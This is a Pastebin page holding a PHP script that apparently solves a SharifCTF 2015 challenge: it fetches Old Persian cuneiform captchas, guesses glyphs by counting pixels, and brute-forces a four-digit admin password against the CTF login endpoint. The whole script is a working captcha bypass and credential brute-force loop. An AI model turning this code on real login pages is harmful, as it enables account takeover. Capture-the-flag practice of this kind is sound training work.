Advertisement
Guest User

SharifCTF 2015 Old Persian captcha

a guest
Feb 6th, 2016
586
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.20 KB | None | 0 0
  1. <?php
  2. # Old persian cuneiform captcha
  3. # Solved by PHP
  4. # Accuracy near 20%, That is shit, but we have no time
  5. #
  6. # xeksec team https://forum.xeksec.com
  7.  
  8. date_default_timezone_set('Europe/London');
  9. header('Content-Type: text/html; charset=utf-8');
  10.  
  11. error_reporting(E_ALL);
  12. set_time_limit(0);
  13.  
  14. function ccc($url, $post = null)
  15. {
  16.     if ($ch = curl_init($url)) {
  17.         if ($post) {
  18.             curl_setopt($ch, CURLOPT_POST, 1);
  19.             curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  20.         }
  21.         curl_setopt($ch, CURLOPT_HEADER, 0);
  22.         curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla');
  23.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  24.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  25.         curl_setopt($ch, CURLOPT_COOKIEFILE, '1.txt');
  26.         curl_setopt($ch, CURLOPT_COOKIEJAR, '1.txt');
  27.         curl_setopt($ch, CURLOPT_TIMEOUT, 2);
  28.         curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
  29.         $content = curl_exec($ch);
  30.         curl_close($ch);
  31.  
  32.         return $content;
  33.     }
  34. }
  35.  
  36. $attempt = 1;
  37. $pass = 0;
  38.  
  39. $ff = false;
  40.  
  41. do {
  42.     $url = ccc('http://ctf.sharif.edu:32455/chal/oldpersian/ba05b5fdf0057776/captcha/');
  43.  
  44.     file_put_contents('captcha.jpeg', $url);
  45.  
  46.     shell_exec('convert captcha.jpeg -crop 16.9%x100% test_%d.png');
  47.  
  48.     $captcha = getString();
  49.  
  50.     $post = 'username=admin&password=' . sprintf('%04d',$pass) . '&captcha=' . $captcha;
  51.  
  52.     if ($cnt = ccc('http://ctf.sharif.edu:32455/chal/oldpersian/ba05b5fdf0057776/login/submit/', $post))
  53.     {
  54.         if (strpos($cnt, 'Invalid captcha') !== false)
  55.         {
  56.             print sprintf('%04d',$pass) . " - " . $captcha . " - " . $attempt . " attempts\n";
  57.             $attempt++;
  58.         }
  59.         else
  60.         if (strpos($cnt, 'Login failed!') !== false)
  61.         {
  62.             print sprintf('%04d', $pass) . " - " . $captcha . " - " . $attempt . " login failed\n";
  63.             $pass++;
  64.             $attempt = 1;
  65.         }
  66.         else
  67.         {
  68.             $ff = true;
  69.             var_dump(sprintf('%04d',$pass));
  70.             var_dump($cnt);
  71.             exit;
  72.         }
  73.     }
  74.  
  75. } while ($ff === false);
  76.  
  77. $alphabet = [
  78.     'A' => 678, // 686, 676, 681, 686 ++
  79.     'B' => 505,// 510, 500, 509, 507 +++
  80.     'C' => 638, // 641 ++
  81.     'D' => 512, // ++
  82.     'E' => 168, // 171, 174, 168, 172    +++
  83.     'F' => 711, // 707, 705, 704
  84.     'G' => 702, // +++
  85.     'H' => 880, //888, 873, 875, 877
  86.     'I' => 589, // 579, 584 ++
  87.     'J' => 567, // ++
  88.     'K' => 508, // 514  ++
  89.     'L' => 611, // 610, 615 ++
  90.     'M' => 605, // 607, 604, 608 ++
  91. ];
  92.  
  93.  
  94. function getString()
  95. {
  96.     $arr = parseImages();
  97.  
  98.     $word = [];
  99.     foreach ($arr as $count)
  100.     {
  101.         if ($count < 200)
  102.         {
  103.             $word[] = 'E';
  104.         }
  105.         else
  106.         if ($count >= 490 && $count < 510)
  107.         {
  108.             $word[] = 'B';
  109.         }
  110.         else
  111.         if ($count >= 510 && $count < 525)
  112.         {
  113.             $lol = rand(0,1);
  114.             if ($lol == 0) $word[] = 'D'; else $word[] = 'K';
  115.         }
  116.         else
  117.         if ($count >= 550 && $count < 577)
  118.         {
  119.             $word[] = 'J';
  120.         }
  121.         else
  122.         if ($count >= 577 && $count < 595)
  123.         {
  124.             $word[] = 'I';
  125.         }
  126.         else
  127.         if ($count >= 595 && $count < 610)
  128.         {
  129.             $word[] = 'M';
  130.         }
  131.         else
  132.         if ($count >= 610 && $count < 630)
  133.         {
  134.             $word[] = 'L';
  135.         }
  136.         else
  137.         if ($count >= 630 && $count < 650)
  138.         {
  139.             $word[] = 'C';
  140.         }
  141.         else
  142.         if ($count >= 670 && $count < 690)
  143.         {
  144.             $word[] = 'A';
  145.         }
  146.         else
  147.         if ($count >= 690 && $count < 704)
  148.         {
  149.             $word[] = 'G';
  150.         }
  151.         else
  152.         if ($count >= 704 && $count < 740)
  153.         {
  154.             $word[] = 'F';
  155.         }
  156.         else
  157.         if ($count >= 800)
  158.         {
  159.             $word[] = 'H';
  160.         }
  161.     }
  162.  
  163.     return implode('', $word);
  164. }
  165.  
  166. function parseAlphabet(){
  167.     for ($i = 'A'; $i <= 'M';$i++)
  168.     {
  169.         $im = imagecreatefrompng($i . '.png');
  170.         $count = imageToMatrix($im, false);
  171.  
  172.         $s[$i] = $count;
  173.     }
  174. }
  175.  
  176. function parseImages(){
  177.     for ($i = 0; $i < 6;$i++)
  178.     {
  179.         $im = imagecreatefrompng('test_' . $i . '.png');
  180.         $count = imageToMatrix($im, true);
  181.         $s[] = $count;
  182.     }
  183.     return $s;
  184. }
  185.  
  186. function imageToMatrix($im, $rotate = false) {
  187.     $height = imagesy($im);
  188.     $width = imagesx($im);
  189.  
  190.     if ($rotate) {
  191.         $height = imagesx($im);
  192.         $width = imagesy($im);
  193.     }
  194.  
  195.     $background = 0;
  196.     $count = 0;
  197.     for ($i = 0; $i < $height; $i++)
  198.         for ($j = 0; $j < $width; $j++) {
  199.  
  200.             if ($rotate) {
  201.                 $rgb = imagecolorat($im, $i, $j);
  202.             } else {
  203.                 $rgb = imagecolorat($im, $j, $i);
  204.             }
  205.  
  206.             list($r, $g, $b) = array_values(imageColorsForIndex($im, $rgb));
  207.  
  208.             if ($i == 0 && $j == 0) {
  209.                 $background = $r;
  210.             }
  211.  
  212.             //if ($r != $background)
  213.             if ($r < 150)
  214.             {
  215.                 $count++;
  216.             }
  217.         }
  218.     return $count;
  219. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement